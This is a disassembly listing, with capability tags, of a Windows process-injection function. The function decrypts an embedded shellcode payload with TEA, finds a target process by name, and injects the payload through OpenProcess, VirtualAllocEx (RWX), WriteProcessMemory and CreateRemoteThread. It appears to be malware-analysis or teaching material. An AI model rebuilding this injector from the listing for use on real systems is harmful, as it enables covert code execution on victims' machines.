Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0xa0
lea rbp, [rsp + 0xa0]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
call sym.__main
mov rax, rsp
mov rsi, rax
cmp dword [rbp + 0x20], 1
jg 0x14000171d
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov r8, rdx
mov rdx, rax
lea rax, str.Usage:_n_n_s__process_name__n_ni.e.:__n_n_s_mspaint.exe
mov rcx, rax
call dbg.printf(char const*, ::)
movabs rax, 0x776f656d776f656d
movabs rdx, 0x776f656d776f656d
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov byte [rbp - 0x50], 0
mov eax, dword [0x14000a14c]
lea ecx, [rax + 8]
mov edx, dword [0x14000a14c]
mov eax, edx
sar eax, 0x1f
shr eax, 0x1d
add edx, eax
and edx, 7
sub edx, eax
mov eax, ecx
sub eax, edx
movsxd rdx, eax
imul rdx, rdx, 0xffffffff80040021
shr rdx, 0x20
add edx, eax
sar edx, 0xf
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp - 0xc], edx
mov edx, dword [rbp - 0xc]
imul edx, edx, 0xfff8
sub eax, edx
mov dword [rbp - 0xc], eax
mov ebx, dword [rbp - 0xc]
movsxd rax, ebx
sub rax, 1
mov qword [rbp - 0x18], rax
movsxd rax, ebx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.1400031f0
sub rsp, rax
lea rax, [rsp + 0x40]
add rax, 0
mov qword [rbp - 0x20], rax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
mov r8, rdx
mov edx, 0x90
mov rcx, rax
call sym.memset
mov eax, dword [0x14000a14c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
mov r8, rdx
lea rdx, [0x14000a020]
mov rcx, rax
call sym.memcpy
mov dword [rbp - 4], 0
jmp 0x14000181c
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
lea rcx, [rdx + rax]
lea rax, [rbp - 0x60]
mov rdx, rax
call dbg.tea_decrypt(unsigned char*, unsigned char*)
add dword [rbp - 4], 8
mov eax, dword [rbp - 4]
cmp eax, dword [rbp - 0xc]
jl 0x1400017fe
lea rax, str.Meow_payload_decrypted:_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov dword [rbp - 8], 0
jmp 0x140001861
mov rdx, qword [rbp - 0x20]
mov eax, dword [rbp - 8]
cdqe
movzx eax, byte [rdx + rax]
movzx eax, al
mov edx, eax
lea rax, str.x_02x
mov rcx, rax
call dbg.printf(char const*, ::)
add dword [rbp - 8], 1
mov eax, dword [rbp - 8]
movsxd rdx, eax
movsxd rax, ebx
cmp rdx, rax
jb 0x14000183c
lea rax, [0x14000b0aa]
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x28]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call dbg.findMyProc(char*)
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x24]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x30], rax
mov eax, dword [0x14000a14c]
movsxd rdx, eax
mov rax, qword [rbp - 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x38], rax
mov eax, dword [0x14000a14c]
movsxd r8, eax
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
mov rsp, rsi
mov rsp, rbp
pop rbx
pop rsi
pop rbp
ret